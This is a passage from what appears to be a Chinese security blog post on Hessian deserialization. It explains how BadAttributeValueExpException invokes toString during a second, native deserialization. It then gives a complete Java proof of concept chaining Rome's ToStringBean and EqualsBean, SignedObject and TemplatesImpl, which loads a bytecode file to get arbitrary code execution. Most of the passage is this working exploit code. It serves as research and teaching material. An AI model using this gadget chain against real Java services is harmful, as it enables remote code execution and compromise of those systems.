那么第二次的反序列化我们就需要找到一个原生反序列化能调用toString方法的类。这个类在学习rome链扩展的时候可能会学到。就是BadAttributeValueExpException这个类,valObj为ToStringbean,前面两个判断不会进入,System.getSecurityManager()默认情况下是null,进入第三个判断从而走到ToStringbean#toString方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);

if (valObj == null) {
val = null;
} else if (valObj instanceof String) {
val= valObj;
} else if (System.getSecurityManager() == null
|| valObj instanceof Long
|| valObj instanceof Integer
|| valObj instanceof Float
|| valObj instanceof Double
|| valObj instanceof Byte
|| valObj instanceof Short
|| valObj instanceof Boolean) {
val = valObj.toString();
} else { // the serialized object is from a version without JDK-8019292 fix
val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}
}

思路清楚了,poc就很简单了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;
import com.rometools.rome.feed.impl.EqualsBean;
import com.rometools.rome.feed.impl.ToStringBean;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.security.*;
import java.util.HashMap;

public class Hessian2_SignedObject {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, SignatureException, InvalidKeyException, NoSuchAlgorithmException {
TemplatesImpl templatesimpl = new TemplatesImpl();

Class c = templatesimpl.getClass();
Field _nameField = c.getDeclaredField("_name");
_nameField.setAccessible(true);
_nameField.set(templatesimpl, "cmisl");

Field _byteCodesField = c.getDeclaredField("_bytecodes");
_byteCodesField.setAccessible(true);

byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\asus\\Desktop\\calc.class"));
byte[][] codes = {code};
_byteCodesField.set(templatesimpl, codes);

Field tfactory = c.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templatesimpl, new TransformerFactoryImpl());

ToStringBean toStringBean_TemplatemImpl = new ToStringBean(Templates.class, templatesimpl);

//随便传入参数占位,避免提前触发链子
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Field val = badAttributeValueExpException.getClass().getDeclaredField("val");
val.setAccessible(true);
val.set(badAttributeValueExpException, toStringBean_TemplatemImpl);

// 生成密钥对
KeyPairGenerator keyGen = KeyPairGenerator.getInstance("RSA");
keyGen.initialize(2048);
KeyPair keyPair = keyGen.generateKeyPair();
// 获取私钥
PrivateKey privateKey = keyPair.getPrivate();
// 创建Signature对象并初始化
Signature signature = Signature.getInstance("SHA256withRSA");
SignedObject signedObject = new SignedObject(badAttributeValueExpException, privateKey, signature);
//signedObject.getObject();

HashMap<Object, Object> hashMap = new HashMap<>();
ToStringBean toStringBean_SignedObject = new ToStringBean(SignedObject.class, signedObject);
EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean_SignedObject);

Field size = hashMap.getClass().getDeclaredField("size");
size.setAccessible(true);
size.set(hashMap, 1);

Class nodec;
try {
nodec = Class.forName("java.util.HashMap$Node");
} catch (ClassNotFoundException e) {
nodec = Class.forName("java.util.HashMap$Entry");
}

Constructor nodeCons = nodec.getDeclaredConstructor(int.class, Object.class, Object.class, nodec);
nodeCons.setAccessible(true);

Object tbl = Array.newInstance(nodec, 1);
Array.set(tbl, 0, nodeCons.newInstance(0, equalsBean, equalsBean, null));

Field table = hashMap.getClass().getDeclaredField("table");
table.setAccessible(true);
table.set(hashMap, tbl);

byte[] serialize = serialize(hashMap);
Object deserialize = deserialize(serialize);
}

public static byte[] serialize(Object o) throws IOException {
ByteArrayOutputStream bao = new ByteArrayOutputStream();
HessianOutput output = new HessianOutput(bao);
output.writeObject(o);
System.out.println(bao.toString());
return bao.toByteArray();
}

public static Object deserialize(byte[] bytes) throws IOException {
ByteArrayInputStream bai = new ByteArrayInputStream(bytes);
HessianInput input = new HessianInput(bai);
Object o = input.readObject();
return o;
}
}


Hessian反序列化
http://example.com/2024/08/16/Hessian反序列化/
作者
cmisl
发布于
2024年8月16日
许可协议